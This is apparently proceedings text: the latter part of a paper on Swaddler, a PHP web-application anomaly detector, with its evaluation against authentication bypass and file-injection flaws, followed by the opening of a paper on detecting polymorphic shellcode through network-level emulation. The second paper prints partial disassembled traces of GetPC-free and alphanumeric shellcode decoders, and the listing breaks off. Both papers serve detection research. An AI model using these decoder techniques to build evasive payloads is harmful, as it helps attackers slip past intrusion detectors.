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and its variables. The anomaly score value is calculated through the weighted
sum shown in Equation 1. In this equation, wm represents the weight associated
with model m, while pm is the probability value returned by model m.

AnomalyScore =
∑

m∈Models

wm ∗ pm (1)

A model can operate in one of two modes, training or detection. The training
phase is required to determine the characteristics of normal events (that is,
the profile of a block according to specific models) and to establish anomaly
score thresholds to distinguish between regular and anomalous values of the
state variables. This phase is divided into two steps. During the first step, the
system creates a profile and trains the associated models for each block in the
applications. During the second step, suitable thresholds are established. This
is done by evaluating the states associated with the blocks using the profiles
created during the previous step. For each block, the most anomalous score (i.e.,
the lowest probability) is stored in the block’s profile and the threshold is set to
a value that is a certain adjustable percentage lower than this minimum. The
default setting for this percentage is 10%. By modifying this value, the user can
adjust the sensitivity of the system and perform a trade-off between the number
of false positives and the expected detection accuracy.

Once the profiles have been created—that is, the models have learned the
characteristics of normal events and suitable thresholds have been derived—the
system switches to detection mode. In this mode, anomaly scores are calculated
and anomalous states are reported.

libAnomaly provides a number of built-in models that can be combined to
model different features. By default, block profiles are configured to use all the
available models with equal weights. However, to improve performance, if some
application-specific knowledge is available, the user can configure profiles to only
use a subset of the models, or fine-tune the way they are combined.

In Swaddler, we used a number of existing libAnomaly models to represent
the normal values of single variables and we developed two additional models
to capture relationships among multiple variables associated with a block. We
describe the models we used in the next two sections.

4.3 Univariate Models

In the context of this paper, we will use the term univariate models to refer to the
anomaly models that are used to capture various properties of single variables
associated with a block. libAnomaly already contains a number of univariate
models. These models can be used to characterize the normal length of a vari-
able (Attribute Length model), the structure of its values (Attribute Character
Distribution model), the set of all the possible values (Token Finder model), etc.
In the following, we provide a brief description of some of the univariate models
used by the current Swaddler implementation. A more in-depth description of
these and other available models can be found in [25,20].
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Token Finder. In our implementation, the purpose of the Token Finder model
is to determine whether the values of a certain variable are drawn from a limited
set of possible alternatives (i.e., they are elements of an enumeration). In web
applications, certain variables often take one of few possible values. For example,
in our shopping cart application, the variable SESSION[’shipcost’] can be set
to one of three predefined values depending on which shipping method is chosen
by the user. If a malicious user attempts to set her shipping cost to a value that
is not part of the enumeration, the attack is detected. When no enumeration can
be identified, it is assumed that the attribute values are random.

The classification of an argument as an enumeration or as a random value is
based on the observation that the number of different occurrences of variable
values is bound by some unknown threshold t in the case of an enumeration
while it is unrestricted in the case of random values. During the training phase,
when the number of different values for a given variable grows proportionally to
the total number of its samples, the variable is characterized as random. If such
an increase cannot be observed, the variable is modeled with an enumeration.

Once it has been determined that the values of a variable are tokens drawn
from an enumeration, any value seen during the detection phase is expected to
appear in the set of known values. When this happens, 1 is returned by the model
(indicating normality), and 0 is returned otherwise (indicating an anomalous
condition). If it has been determined that the variable values are random, the
model always returns 1.

Attribute Length. The length of a variable value can be used to detect anom-
alous states, for example when typical values are either fixed-size tokens (as it
is common for session identifiers) or short strings derived from human input.
In these cases, the length of the parameter values does not vary significantly
between executions of the same block. The situation may look different when
malicious input is passed to the program. For example, XSS attacks that attempt
to inject scripts in pages whose content is generated dynamically, often require
to send an amount of data that can significantly exceed the length of legitimate
parameters.

Thus, the goal of this model is to approximate the actual but unknown dis-
tribution of the length of values of a variable and detect instances that signif-
icantly deviate from the observed normal behavior. During the training phase,
the value length distribution is approximated through the sample mean and
variance. Then, during the detection phase, the abnormality of a given value
for a variable is assessed by the “distance” of the given length from the mean
value of the length distribution. The calculation of this distance is based on the
Chebyshev inequality [3].

Attribute Character Distribution. The attribute character distribution
model captures the concept of a “normal” or “regular” value of a variable by
looking at its character distribution. The approach is based on the observa-
tion that values of variables in web applications are mostly human-readable and
mostly are drawn from a small subset of the ASCII characters. In case of attacks
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that send binary data or repetitions of a single character, a completely different
character distribution can be observed.

During the training phase, the idealized character distribution of a variable
values (i.e., the distribution that is perfectly normal) is approximated based on
the sorted relative character frequencies that were observed. During the detection
phase, the probability that the character distribution of a string parameter fits
the normal distribution established during the training phase is calculated using
a statistical test (Pearson χ2-test).

4.4 Multivariate Models

In the context of this paper, we will use the term multivariate models to refer to
anomaly models that are used to capture relationships among multiple variables
associated with a block. In particular, Swaddler adds two multivariate models to
the libAnomaly framework: a Variable Presence or Absence model1 and a Likely
Invariants model.

Variable Presence or Absence. The purpose of the Variable Presence or
Absence model is to identify which variables are expected to be always present
when accessing a basic block in an application. For example, in our sample store
application, the variables SESSION[’loggedin’] and SESSION[’username’]
have to be always present when accessing one of the administrative pages. When
a malicious user tries to directly access one of the protected pages, these variables
will not be present and the attack will be detected.

During the training phase, the model keeps track of which variables are always
set when accessing a particular block of code. Based on this information, each
state variable associated with the block is given a weight, where variables that
were always present are given a weight of 1 and variables that were sometimes
absent are given a weight in the range from 0 to 1, depending on the number of
times that the variable has been seen. The total score for a block is calculated as
the sum of all variables scores divided by the number of variables in the block.
This score is always between 0 and 1.

During the detection phase, the total score of the block is calculated based
on the established weights. Therefore, the absence of a variable with a higher
weight results in a lower score for the state associated with the block.

Likely Invariants. A program invariant is a property that holds for every ex-
ecution of the program. If the property is not guaranteed to be always true in
all the possible executions, it is called a likely invariant. To be able to automati-
cally detect and extract state-related likely invariants, we integrated the Daikon
engine [5,6] in the libAnomaly framework.

Daikon is a system for the dynamic detection of likely invariants, which was
originally designed to infer invariants by observing the variable values computed
over a certain number of program executions. Daikon is able to generate invari-
ants that predicate both on a single variable value (e.g., x == 5) and on complex
1 Even though based on similar idea, this model is different from the Attribute Presence

or Absence model described in [20].
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compositions of multiple variables (e.g., x > abs(y), y = 5 ∗ x − 2). Its ability to
extract invariants predicating on multiple variables is one of the main reasons
for including Daikon in our tool.

In training mode, Daikon observes the variable values at particular program
points decided by the user. In order to integrate it in our system, we developed
a new component that translates the events generated by our sensor into the
Daikon trace format. Our component is also able to infer the correct data type
of each variable, by analyzing the values that the variables assume at runtime.
The output of this type inference process is required for the correct working of
the Daikon system.

At the end of the training phase, the Daikon-based model calculates the set
of likely invariants and computes the probability that each of them appears in
a random data set. If this is lower than a certain threshold (i.e., if it is unlikely
that the invariant has been generated by chance) the invariant is kept, otherwise
it is discarded.

For example, in our store application, Daikon detects that the block of code
that charges the user’s credit card is associated with the following invariants on
the state variables:

loggedin == ’yes’
total > price

This means that, when the basic block is executed, the loggedin variable is
always set to yes (because the user must be logged in order to be able to buy
items) and the total value charged to the user is always greater than the price
of the purchased items (because of the taxes and shipping costs).

When the system switches to detection, all the invariants that apply to the
same block are grouped together. The algorithm then automatically generates
the C++ code of a function that receives as a parameter an event created by
the sensor. The function performs three actions:

– it fetches the value of the variables predicated by the invariants (in our
example, loggedin, total, and price);

– it verifies that the runtime type of each variable is correct (in our example,
we expect total and price to be integers and loggedin to be a string);

– finally, it evaluates the invariants, which, in our example, are represented by
the following snippet of C++ code:

if (strcmp(loggedin, "yes")!=0) return 0;
if (total <= price) return 0;
return 1;

The result of the function is a value (0 or 1) that represents whether the
application state associated with the PHP block violates the likely invariants
inferred during the training phase. This value is then combined with the ones
provided by the other libAnomaly models to decide if the state is anomalous or
normal as a whole.
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Table 1. Applications used in the experiments. For each application, we report the
number of files that compose the application as an indication of its size, and the known
attacks against it, if any. Vulnerabilities are referenced by their Common Vulnerabilities
and Exposures ID (CVE) or their Bugtraq ID (BID).

Application Name PHP Files Description Known Vulnerabilities

BloggIt 1.01 24 Blog engine CVE-2006-7014

PunBB 1.2.4 67 Discussion board system BID 20786

Scarf 2006-09-20 18 Conference management system CVE-2006-5909

SimpleCms 22 Content management system BID 19386

WebCalendar 1.0.3 123 Calendar application BID 23054

5 Evaluation

We evaluated our system on several real-world, publicly available PHP applica-
tions, which are summarized in Table 1. BloggIt is a blog application that allows
users to manage a web log, publish new messages, and comment on other peo-
ple’s entries. PunBB is a discussion board system that supports the building of
community forums. Scarf is a conference management application that supports
the creation of different sessions, the submission of papers, and the creation of
comments about a submitted paper. SimpleCms is a web application that allows
a web site maintainer to write, organize, and publish online content for multiple
users. WebCalendar is an online calendar and event management system. These
applications are a representative sample of the different type of functionality and
levels of complexity that can be found in commonly-used PHP applications.

The evaluation consisted of a number of tests in a live setting with each of
the test applications. All the experiments were conducted on a 3.6GHz Pentium
4 with 2 GB of RAM running Linux 2.6.18. The server was running the Apache
web server (version 2.2.4) and PHP version 5.2.1. Apache was configured to serve
requests using threads through its worker module.

Attack-free data was generated by manually operating each web applica-
tion and, at the same time, by running scripts simulating user activity. These
scripts controlled a browser component (the KHTML component of the KDE
library [16]) in order to exercise the test applications by systematically exploring
their workflow.

In particular, for each application, we identified the set of available user pro-
files (e.g., administrator, guest user, and registered user) and their corresponding
atomic operations (e.g., login, post a new message, and publish a new arti-
cle), and then we combined these operations to model a typical user’s behavior.
For example, a common behavior of a blog application’s administrator consists
of visiting the home page of the blog, reading the comments added to recent
posts, logging in, and, finally, publishing a new entry. The sequences of requests
corresponding to each behavior were then replayed with a certain probability
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reflecting how often one expects to observe that behavior in the average appli-
cation traffic.

In addition, we developed a number of libraries to increase the realism of the
test traffic. In particular, one library was used to create random user identities to
be used in registration forms. In this case, we leveraged a database of real names,
addresses, zip codes, and cities. Another library was used to systematically ex-
plore a web site from an initial page in accordance with a selected user profile’s
behavior. For example, when simulating a blog’s guest user, the library extracts
from the current page the links to available blog posts, randomly chooses one,
follows it, and, with a certain probability, leaves a new comment on the post’s
page by submitting the corresponding form.

We used this technique to generate three different datasets: the first was used
for training the libAnomaly models, the second for choosing suitable thresholds,
and the third one was the clean dataset used to estimate the false positive rate
of our system.

Since our tests involved applications with known vulnerabilities (and known
exploits), it was not sensible to collect real-world attack data by making our
testbed publicly accessible. Therefore, attack data was generated by manually
performing known or novel attacks against each application, while clean back-
ground traffic was directed to the application by using the user simulation scripts.
We used the datasets produced this way to assess the detection capability of our
system.

5.1 Detection Effectiveness

We evaluated the effectiveness of our approach by training our system on each of
the test applications. For these experiments, we did not perform any fine-tuning
of the models, equal weights were assigned to each model, and we used the
default 10% threshold adjustment value. Then, we recorded the number of false
positives generated when testing the application with attack-free data and the
number of attacks correctly detected when testing the application with malicious
traffic.

Table 2 summarizes the results of our experiments. The size of the training
and clean sets is expressed as the number of requests contained in each dataset.
Coverage represents the number of lines in each application that have been exe-
cuted at least once during training. Note that in all cases the coverage was less
than 100%. Unexplored paths usually correspond to code associated with the
handling of error conditions or with alternative configuration settings, e.g., al-
ternative database libraries or layout themes. The false positives column reports
the total number of legitimate requests contained in the clean set that Swad-
dler incorrectly flagged as anomalous during the detection phase. The attack
set size illustrates the number of different malicious requests contained in the
attack dataset of each application. This reflects the number of different attacks
we used to exploit the vulnerabilities present in the application. For example,
an authentication bypass vulnerability can be exploited to get access to several
restricted pages. In this case, the attack set contained requests to gain access to
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Table 2. Detection effectiveness

Application Training Set Coverage Clean Set False Attack Set Attacks
Size Size Positives Size Detected

(# requests) (%) (# requests) (# requests)

BloggIt 9779 91 1586 0 15 15

PunBB 10200 67 1360 5 1 1

Scarf 9615 86 1000 1 10 10

SimpleCms 9333 95 1969 0 10 10

WebCalendar 19800 66 3300 1 1 1

each of these pages. Finally, the last column reports how many of these malicious
requests were successfully identified by Swaddler.

In our experiments, all attacks were successfully detected by Swaddler. For
each application, we describe the vulnerability exploited by the corresponding
attacks and how our system detected the attacks.

BloggIt is vulnerable to two types of attacks. First, it contains a known au-
thentication bypass vulnerability that allows unauthenticated users to access
administrative functionality. More precisely, the application stores in the session
variable login the value “ok” if the user has been successfully authenticated.
Whenever a user requests a restricted page, the page’s code correctly checks
whether the user has logged in by inspecting the session variable, and, if not,
redirects her to the login page. However, the page’s code fails to stop the execu-
tion after issuing the redirection instruction to the user’s browser, and continues
executing the code that implements the restricted functionality. Our system eas-
ily detects this attack: for example, the Variable Presence or Absence model
returns a high anomaly score if the restricted code is accessed when the session
does not contain the login variable; similarly, the Likely Invariant and Token
Finder models produce an alert if the login variable has a value other than
“ok”.

The second flaw in BloggIt is a novel file injection vulnerability that we dis-
covered. The application allows users to upload files on the server. The uploaded
files can then be accessed online and their content (e.g., a picture) be used in blog
entries and comments. However, if the uploaded file’s name terminates with the
php extension and a user requests it, the application interprets the file’s content
as a PHP script and blindly executes it, thus allowing an attacker to execute
arbitrary commands. Our system detects the attack since all models report high
anomaly scores for the unknown blocks associated with the injected script.

PunBB is vulnerable to a known file injection attack that allows arbitrary code
to be executed. In fact, PunBB utilizes a user-controlled variable to present the
site in the language chosen by the user, by including appropriate language files.
Unfortunately, the variable value is not sanitized and, therefore, it can be modi-
fied by an attacker to include malicious code. Also in this case, Swaddler detects
the attack when the blocks corresponding to the injected code are executed.
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Scarf is vulnerable to a known authentication bypass attack. One of its admin-
istrative pages does not check the user’s status and allows any user to arbitrarily
change site-wide configuration settings (e.g., user profiles information, web site
configuration). The status of a user is stored in the application’s session using
three variables, namely, privilege, user id, and email. The flaw can be ex-
ploited by users that do not have an account on the vulnerable web site or by
registered users that lack administrative privileges. In the first case, during an
attack the vulnerable page is accessed with an empty session, and thus all our
models will report a highly anomalous score; in the second case, the session vari-
ables contain values that, for example, are not recognized by the Token Finder
model and that do not satisfy the predicates learned by the Likely Invariant
model.

SimpleCms is vulnerable to a known authentication bypass attack. It inse-
curely uses the register globals mechanism in a way similar to the example
application described in Section 2. An attacker can simply set the request para-
meter loggedin to 1 and have access to the administrative functionality of the
application. Note that this allows the attacker to bypass the authorization check
but does not modify the corresponding variable in the session. Therefore, during
an attack, all our models report high anomalous scores.

Finally, WebCalendar is vulnerable to a file inclusion attack. In this case,
the vulnerability cannot be exploited to execute arbitrary code, but it allows
an attacker to modify the value of several state variables, and, by this, to gain
unauthorized privileges. Swaddler detects the attack since several models, e.g.,
the Token Finder and Likely Invariant, flag as anomalous the modified variables.

In our experiments, Swaddler raised a few false positives. Our analysis indi-
cates that, in all cases, the false alarms were caused by the execution of parts
of the applications that were exercised by a limited number of requests during
the training phase. For example, this is the case with pages that handle the sub-
mission of complex forms containing a large number of input parameters: during
training, only a subset of all the possible combinations of the input parameters
were tested, and, therefore, the models associated with the portions of the page
that were least visited were not sufficiently trained.

5.2 Detection Overhead

Our system introduces runtime overhead in two points during the request-serving
cycle. First, for each request, some time is spent to analyze and instrument the
compiled code of the requested application’s page. We refer to this overhead as
“instrumentation overhead”. Second, during execution, whenever a basic block
is entered, the analyzer has to determine whether the current state is anomalous.
We call the total time spent performing this operation “detection overhead”.

A test was performed to quantify the overhead introduced by our system.
For each application, we ran again the requests contained in the clean set used
during the detection evaluation and we recorded the time required to perform
instrumentation and detection.
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Table 3. Detection overhead

Application Avg. Instrumentation Avg. Detection
Overhead Overhead
(msec) (msec)

BloggIt 5 8

PunBB 23 115

Scarf 3 13

SimpleCms 1 5

WebCalendar 15 75

Table 3 presents the results of this test. It shows the average overhead per
user’s request broken down in its instrumentation and detection components.
A direct comparison of the average request-serving time on our modified PHP
interpreter and the standard interpreter is presented in Figure 5.

There are two main factors influencing the performance of our tool: the num-
ber of state variables that need to be analyzed for each basic block and the
number of basic blocks that are traversed when serving a page. To better as-
sess how these factors influence the performance of our system, we measured
the Swaddler overhead on a set of test programs. Each program defines a cer-
tain number of variables in its session and executes a well-defined number of
basic blocks. The values of the defined session variables were chosen carefully
in order to avoid artificial simplifications in the trained models (e.g., the values
used were not random to avoid that, in detection mode, the Token Finder model
would immediately return a normal value). Furthermore, the same number of
session variables was defined in all basic blocks, so that the corresponding models
had to be trained in all the basic blocks of the program.

We ran the test programs on the standard PHP interpreter and on a version
of the interpreter extended with our tool (after performing the training phase)
and recorded the difference in the running time in the two cases. Figure 6 shows
how the overhead introduced by our system changes as a function of the number
of executed basic blocks and the number of examined state variables.

The overhead grows linearly as the number of executed basic blocks increases.
This was expected because there is both an instrumentation and a detection
overhead associated with each basic block in the program. Similarly, the overhead
increases roughly linearly with the number of state variables defined. This can
be explained observing that, during detection, the current value of each state
variable must be extracted from the execution context and must be checked with
respect to the appropriate anomaly models.

In many cases, by tuning the two performance factors (number of executed
blocks and number of modeled state variables), it is possible to limit the overhead
caused by our instrumentation. First, sometimes it is possible to identify state
variables whose value is unlikely to be affected by an attack. For example, an
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application might store in a state variable the background color preferred by the
current user. In this case, it is reasonable that an attack will not manifest itself
with anomalous modifications to that variable. Therefore, the variable can be
excluded from the subset of the monitored application state without affecting
the detection capability of our tool and reducing the detection overhead.

Second, sometimes the number of basic blocks executed by an application
causes the overhead to be larger than it is desired. For example, an application
might execute some blocks in a loop a large number of times. In this case, it is
possible to configure our sensor so that, during a request, the instrumentation
routine is invoked no more than a certain number of times for each block. If
an attack manifests itself even if the analyzer monitors the execution of loops
only up to a certain bound, this optimization will reduce the overhead without
introducing false negatives.

The results of the performance tests both on real-world applications and on
synthesized programs indicate that our approach introduces an acceptable over-
head for most applications. These results are quite encouraging especially consid-
ering that performance was not a priority in the implementation of the current
prototype of our tool.

6 Related Work

The work described in this paper is related to different previous research results
in the intrusion detection field. First of all, there is a corpus of work on detecting
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intrusions using anomalydetection techniques (see, for example, [4,17,11,23,14,9]),
which we cannot discuss in detail here.

However, there are several proposed anomaly detection approaches that are
more closely related to the solution proposed here. First of all, there is the
previous work from our group on performing anomaly detection of web-based
attacks by analyzing the requests and replies exchanged between clients and
servers [20,21]. This previous work introduced the idea of using statistical mod-
els to characterize the normal values of the parameters of web requests. This
work suggested that this technique could be applied to other event streams and
resulted in the libAnomaly framework, which is used (and extended) in the re-
search presented here. The main difference between the two approaches resides
in the type of attacks that can be detected. More precisely, the analysis of re-
quests and replies does not allow for the identification of attacks that subvert
the intended, normal workflow of a web application.

Another set of results that this work is related to is in the contextualization
of intrusion detection, that is, the use of detection models that take into account
the different phases (or states) in which an application might be when an at-
tack is executed. The contextualization has been initially introduced in intrusion
detection systems that analyze sequences of system calls as a countermeasure
against mimicry attacks [34]. For example, in [28,29] the detection of anomalous
system call sequences is contextualized using the program counter value at the
moment of the system call invocation. Extensions to this approach leveraged the
call stack information to characterize different execution states [8,10,7,12].

The combination of contextualization techniques with the detection of anom-
alous system calls based on the analysis of their parameters was proposed in [24].
Even though this approach is also based on libAnomaly [19,18,25], our approach
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is different from the one proposed in [24] because it operates on the variables
that represent the overall state of an application and not on the values used in
its interaction with the underlying operating system. In addition, we introduce
the concept of likely invariants as a way to characterize anomalous states, which
was not considered in these previous works.

7 Conclusions

Web applications have become a common way to access information and services.
These applications are vulnerable to a number of attacks that cannot always be
detected by observing the application from the outside.

This paper presented Swaddler, an approach to the detection of attacks against
web applications, based on the analysis of the internal application state. The ap-
proach is the first that models the values of session variables in association with
critical execution points in a web application. In addition, we introduced a novel
detection model that relies on multi-variable invariants to detect web-based at-
tacks.

We developed a prototype of our system for the PHP language and we evalu-
ated it against several real-world applications. The results show that by leverag-
ing the internal, hidden state of a web application it is possible to detect attacks
that violate its intended workflow, confirming our hypothesis that any insecure
state usually corresponds to an anomalous state.

Future work will focus on two directions. First, we will extend our approach
to consider other parts of the internal state of an application. Second, we will
focus on optimizations that will reduce the overhead introduced by the instru-
mentation of the PHP interpreter.
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Abstract. Network-level emulation has recently been proposed as a method for
the accurate detection of previously unknown polymorphic code injection at-
tacks. In this paper, we extend network-level emulation along two lines. First,
we present an improved execution behavior heuristic that enables the detection
of a certain class of non-self-contained polymorphic shellcodes that are currently
missed by existing emulation-based approaches. Second, we present two generic
algorithmic optimizations that improve the runtime performance of the detec-
tor. We have implemented a prototype of the proposed technique and evaluated
it using off-the-shelf non-self-contained polymorphic shellcode engines and be-
nign data. The detector achieves a modest processing throughput, which how-
ever is enough for decent runtime performance on actual deployments, while it
has not produced any false positives. Finally, we report attack activity statistics
from a seven-month deployment of our prototype in a production network, which
demonstrate the effectiveness and practicality of our approach.

1 Introduction

Along with the phenomenal growth of the Internet, the number of attacks against Inter-
net-connected systems continues to grow at alarming rates. From “one hostile action
a week” 15 years ago [7], Internet hosts today confront millions of intrusion attempts
every day [34]. Besides the constantly increasing number of security incidents, we are
also witnessing a steady increase in attack sophistication. During the last few years,
there has been a decline in the number of massive easy-to-spot global epidemics, and a
shift towards more targeted and evasive attacks.

For example, attackers have been increasingly using techniques like polymorphism
and metamorphism [28] to evade network-level detectors. Using polymorphism, the
code in the attack vector —which is usually referred to as shellcode— is mutated so
that each instance of the same attack acquires a unique byte pattern, thereby making
fingerprinting of the whole breed very difficult. In its most naive form, the shellcode is
encrypted using a simple algorithm, such as XOR-ing blocks of the original shellcode
—which is also known as the payload— with a random key, and is prepended with a
decryption routine that on runtime unveils and executes the encrypted payload.

Nowadays, the large and diverse number of polymorphic shellcode engines [13, 9,
33, 23, 20, 4, 27, 11, 1], along with their increased sophistication, makes imperative the
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need for effective and robust detection mechanisms. Along with the several research
efforts towards this goal, we have recently proposed network-level emulation [22], a
passive network monitoring approach for the detection of previously unknown poly-
morphic shellcode, which is based on the actual execution of network data on a CPU
emulator. The principle behind network-level emulation is that the machine code inter-
pretation of arbitrary data results to random code, which, when it is attempted to run on
an actual CPU, usually crashes soon, e.g., due to the execution of an illegal instruction.
In contrast, if some network request actually contains a polymorphic shellcode, then the
shellcode runs normally, exhibiting a certain detectable behavior.

Network-level emulation does not rely on any exploit or vulnerability specific signa-
tures, which allows the detection of previously unknown attacks. Instead, network-level
emulation uses a generic heuristic that matches the runtime behavior of polymorphic
shellcode. At the same time, the actual execution of the attack code on a CPU em-
ulator makes the detector robust to evasion techniques such as highly obfuscated or
self-modifying code. Furthermore, each input is inspected autonomously, which makes
the approach effective against targeted attacks.

In this paper, we extend network-level emulation with an improved behavioral heur-
istic that allows the detection of a new class of polymorphic shellcodes, which are cur-
rently missed by the existing approach. The existing network-level emulation technique
can detect only self-contained shellcode, which does not make any assumptions about
the state of the vulnerable process. In this work, we enable the detection of a certain
class of non-self-contained polymorphic shellcodes, which take advantage of a certain
register that happens to hold the base address of the injected shellcode upon hijack-
ing the instruction pointer. We also present two generic algorithmic optimizations that
improve the runtime performance of the detector, and can be applied to network-level
emulation irrespectively of the behavioral heuristic used. Finally, we report attack statis-
tics from a real-world deployment of our prototype implementation, which we believe
demonstrate the effectiveness and practicality of network-level emulation.

2 Related Work

The constant increase in the amount and sophistication of remote binary code injection
attacks, and the consequent increase in the deployment and accuracy of defenses, have
led to a coevolution of attack detection methods and evasion techniques.

Early approaches to network-level detection of zero-day worms relied on the identi-
fication of common byte sequences that are prevalent among multiple worm instances
for the automated generation of NIDS signatures [14, 24]. Such approaches are ef-
fective only for fast spreading worms that do not use any form of payload obfus-
cation. As more tools for shellcode encryption and polymorphism became publicly
available [13, 9, 33, 23, 20, 4, 27, 11, 1], subsequent automated signature generation
approaches [18, 16] focused on the detection of polymorphic worms by identifying
multiple common invariants among different worm instances. However, the first-level
classifier on which such methods rely can result to evasion attacks [19].

An inherent limitation of the above approaches is that they are effective only af-
ter several instances of the same worm have reached the detector, which makes them
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Fig. 1. A typical execution of a polymorphic shellcode using network-level emulation

ineffective against targeted attacks. Content-based anomaly detection can also identify
worms that employ a certain degree of polymorphism by alerting on traffic with anom-
alous content distributions [30, 31], although it is prone to blending attacks [12].

In face of extensive polymorphism, slow propagating worms, and targeted attacks,
several research efforts turned to static binary code analysis on network traffic for iden-
tifying the presence of polymorphic shellcode. Initial approaches focused on the iden-
tification of the sled component that often precedes the shellcode [29, 2]. Recent works
aim to detect the polymorphic shellcode itself using various approaches, such as the
identification of structural similarities among different worm instances [15], control
and data flow analysis [8, 32], or neural networks [21].

Static analysis, however, cannot effectively handle code that employs advanced ob-
fuscation methods, such as indirect jumps and self-modifications, so carefully crafted
polymorphic shellcode can evade detection methods based on static analysis. Dynamic
code analysis using network-level emulation [22] is not hindered by such obfuscations,
and thus can detect even extensively obfuscated shellcodes but is currently able to de-
tect only self-contained polymorphic shellcode. Zhang et al. [35] propose to combine
network-level emulation with static and data flow analysis for improving runtime detec-
tion performance. However, the proposed method requires the presence of a decryption
loop in the shellcode, and thus will miss any polymorphic shellcodes that use unrolled
loops or linear code, such as those presented in Sec. 3.

2.1 Network-Level Emulation Overview

We briefly describe some aspects of the network-level emulation detection technique.
The interested reader is referred to our previous work [22] for a thorough description of
the approach and its implementation details.

The detector inspects the client-initiated data of each network flow, which may con-
tain malicious requests towards vulnerable services. Any server-initiated data, such as
the content served by a web server, are ignored. For TCP packets, the application-level
stream is reconstructed using TCP stream reassembly. In case of large client-initiated
streams, e.g., due to file uploads, only the first 64KB of the stream are inspected. Each
input is mapped to a random memory location in the virtual address space of the emu-
lator, as shown in Fig. 1. Since the exact location of the shellcode in the input stream is
not known in advance, the emulator repeats the execution multiple times, starting from
each and every position of the stream. We refer to complete executions from different
positions of the input stream as execution chains. Before the beginning of a new execu-
tion, the state of the CPU is randomized, while any accidental memory modifications in
the addresses where the attack vector has been mapped to are rolled back after the end
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of each execution. Since the execution of random code sometimes may not stop soon,
e.g., due to the accidental formation of loop structures that may execute for a very large
number of iterations, if the number of executed instructions in some execution chain
reaches a certain execution threshold, then the execution is terminated.

The execution of polymorphic shellcode is identified by two key behavioral char-
acteristics: the execution of some form of GetPC code, and the occurrence of several
read operations from the memory addresses of the input stream itself, as illustrated in
Fig 1. The GetPC code is used to find the absolute address of the injected code, which
is mandatory for subsequently decrypting the encrypted payload, and involves the exe-
cution of some instruction from the call or fstenv instruction groups.

3 Non-self-contained Polymorphic Shellcode

The execution behavior of the most widely used type of polymorphic shellcode involves
some indispensable operations, which enable network-level emulation to accurately
identify it. Some kind of GetPC code is necessary for finding the absolute memory
address of the injected code, and, during the decryption process, the memory locations
where the encrypted payload resides will necessarily be read. However, recent advances
in shellcode development have demonstrated that in certain cases, it is possible to con-
struct a polymorphic shellcode which i) does not rely on any form of GetPC code, and
ii) does not read its own memory addresses during the decryption process. A shellcode
that uses either or both of these features will thus evade current network-level emulation
approaches [22, 35]. In the following, we describe examples of both cases.

3.1 Absence of GetPC Code

The primary operation of polymorphic shellcode is to find the absolute memory ad-
dress of its own decryptor code. This is mandatory for subsequently referencing the
encrypted payload, since memory accesses in the IA-32 architecture can be made only
by specifying an absolute memory address in a source or destination operand (except
instructions like pop, call, or fstenv, which implicitly read or modify the stack).
Although the IA-64 architecture supports an addressing mode whereby an operand can
refer to a memory address relatively to the instruction pointer, such a functionality is
not available in the IA-32 architecture.

The most common way of finding the absolute address of the injected shellcode is
through the use of some form of GetPC code [22]. However, there exist certain exploita-
tion cases in which none of the available GetPC codes can be used, due to restrictions
in the byte values that can be used in the attack vector. For example, some vulnera-
bilities can be exploited only if the attack vector is composed of characters that fall
into the ASCII range (or sometimes in even more limited groups such as printable-only
characters), in order to avoid being modified by conversion functions like toupper or
isprint. Since the opcodes of both call and fstenv have bytes that fall into these
ranges, they cannot take part in the shellcode. In such cases, a possible workaround is
to retrieve the address of the injected code through a register that during exploitation
happens to point at the beginning of the buffer where the shellcode resides. If such a
register exists, then the decoder can use it to calculate the address of the encrypted body.
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0 60000000 6A20 push 0x20 ; ecx points here
1 60000002 6B3C240B imul edi,[esp],0xb ; edi = 0x160
2 60000006 60 pusha ; push all registers
3 60000007 030C24 add ecx,[esp] ; ecx = 0x60000160
4 6000000a 6A11 push 0x11
5 6000000c 030C24 add ecx,[esp] ; ecx = 0x60000171
6 6000000f 6A04 push 0x4 ; encrypted block size
7 60000011 6826191413 push 0x13141926
8 60000016 5F pop edi ; edi = 0x13141926
9 60000017 0139 add [ecx],edi ; [60000171] = "ABCD"

10 60000019 030C24 add ecx,[esp] ; ecx = 0x60000175
11 6000001c 6817313F1E push 0x1e3f3117
12 60000021 5F pop edi ; edi = 0x1E3F3117
13 60000022 0139 add [ecx],edi ; [60000175] = "EFGH"
14 60000024 030C24 add ecx,[esp] ; ecx = 0x60000179

...

Fig. 2. Execution trace of a shellcode produced by the “Avoid UTF8/tolower” encoder. When the
first instruction is executed, ecx happens to point to address 0x60000000.
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Fig. 3. Schematic representation of the decryption process for “Avoid UTF8/tolower” shellcode

Skape has recently published an alphanumeric shellcode engine that uses this tech-
nique [27]. Fig. 2 shows the execution trace of a shellcode generated using the imple-
mentation of the engine contained in Metasploit Framework v3.0 [1]. In this example,
the register that is assumed to hold the base address of the shellcode is ecx. The shell-
code has been mapped to address 0x60000000, which corresponds to the beginning
of the vulnerable buffer. When the control flow of the vulnerable process is diverted to
the shellcode, the ecx register already happens to hold the value 0x60000000. In-
structions 0–5 calculate the starting address of the encrypted payload (0x60000171)
based on its length and the absolute address contained in ecx.

The decryption process begins with instruction 7. An interesting characteristic of the
decryptor is that it does not use any loop structure. Instead, separate transformation
blocks comprising four instructions each (7–10, 11–14, ...) handle the decryption of
different 4-byte blocks of the encrypted payload, as illustrated in Fig. 3. This results to
a completely sequential flow of control for the whole decryption process. At the same
time, however, the total size of the shellcode increases significantly, since for each four
bytes of encrypted payload, an 11-byte transformation instruction block is needed.

3.2 Absence of Self-references

Another common characteristic of polymorphic shellcodes is that they carry the en-
crypted payload within the same attack vector, right after the decryptor code, as shown
in Fig. 1. During execution, the decryptor necessarily makes several memory reads from
the addresses of the encrypted payload in order to decrypt it. These self-references can
be used as a strong indication of the execution of polymorphic shellcode [22]. However,
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0 bfff0000 54 push esp ; esp points here
1 bfff0001 58 pop eax ; eax = BFFF0000
2 bfff0002 2D6C2D2D2D sub eax,0x2d2d2d6c ; eax = 92D1D294
3 bfff0007 2D7A555858 sub eax,0x5858557a ; eax = 3A797D1A
4 bfff000c 2D7A7A7A7A sub eax,0x7a7a7a7a ; eax = BFFF02A0
5 bfff0011 50 push eax
6 bfff0012 5C pop esp ; esp = BFFF02A0
7 bfff0013 252D252123 and eax,0x2321252d ; eax = 20012020
8 bfff0018 2542424244 and eax,0x44424242 ; eax = 00000000
9 bfff001d 2D2D2D2D2D sub eax,0x2d2d2d2d ; eax = D2D2D2D3

10 bfff0022 2D2D252D25 sub eax,0x252d252d ; eax = ADA5ADA6
11 bfff0027 2D61675E65 sub eax,0x655e6761 ; eax = 48474645
